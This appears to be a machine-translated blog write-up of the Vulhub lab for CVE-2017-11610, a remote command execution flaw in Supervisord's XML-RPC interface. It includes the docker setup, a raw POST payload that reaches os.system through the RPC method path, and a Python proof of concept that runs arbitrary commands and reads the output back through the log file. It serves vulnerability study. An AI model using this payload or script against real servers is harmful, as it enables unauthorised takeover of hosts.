当前位置:网站首页>Vulhub vulnerability recurrence 67_ Supervisor
Vulhub vulnerability recurrence 67_ Supervisor
2022-07-06 05:16:00 【Revenge_ scan】
CVE-2017-11610_ Supervisord Remote command execution vulnerability
Preface
Supervisor(http://supervisord.org/) Yes, it is Python One developed client/server service , yes Linux/Unix A process management tool under the system , I won't support it Windows System . It's easy to monitor 、 start-up 、 stop it 、 Restart one or more processes .
Reference link :
- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
- https://blogs.securiteam.com/index.php/archives/3348
-https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
Vulnerability environment
shooting range :192.168.4.10_ubuntu
#docker-compose build
docker-compose up -d
After the environment starts , visit `http://your-ip:9001` You can view it Supervisord The page of .

Vulnerability testing
Execute arbitrary commands directly :
```
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
```

Container view success Create success

## About direct echo POC
@Ricter An idea put forward on Weibo , Very effective , Is to write the result of the command execution to log In file , Call again Supervisord Self contained readLog Method reading log file , Read the results .
Write a simple POC: [poc.py](poc.py), Post it directly :
```python
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
```
Use Python3 Execute and get the results :`./poc.py "http://your-ip:9001/RPC2" "command"`:

边栏推荐
- 饼干(考试版)
- Cuda11.1 online installation
- EditorUtility.SetDirty在Untiy中的作用以及应用
- 【OSPF 和 ISIS 在多路访问网络中对掩码的要求】
- Some common skills on unity inspector are generally used for editor extension or others
- Nacos TC setup of highly available Seata (02)
- GAMES202-WebGL中shader的編譯和連接(了解向)
- Three.js学习-光照和阴影(了解向)
- On the solution of es8316's audio burst
- JS quick start (II)
猜你喜欢

初识CDN

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

flutter 实现一个有加载动画的按钮(loadingButton)

趋势前沿 | 达摩院语音 AI 最新技术大全

Nacos - TC Construction of High available seata (02)

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

浅谈镜头滤镜的类型及作用

SQLite add index

Idea one key guide package

CUDA11.1在线安装
随机推荐
Postman test report
Three. JS learning - light and shadow (understanding)
RT thread analysis - object container implementation and function
In 2022, we must enter the big factory as soon as possible
Lepton 无损压缩原理及性能分析
Codeforces Round #804 (Div. 2)
Acwing week 58
Sorting out the knowledge points of multicast and broadcasting
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Yyds dry inventory SSH Remote Connection introduction
剑指 Offer II 039. 直方图最大矩形面积
Simple understanding of interpreters and compilers
初识CDN
Three methods of Oracle two table Association update
Fuzzy -- basic application method of AFL
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Yolov5 tensorrt acceleration
CUDA11.1在线安装
Pagoda configuration mongodb
浅谈镜头滤镜的类型及作用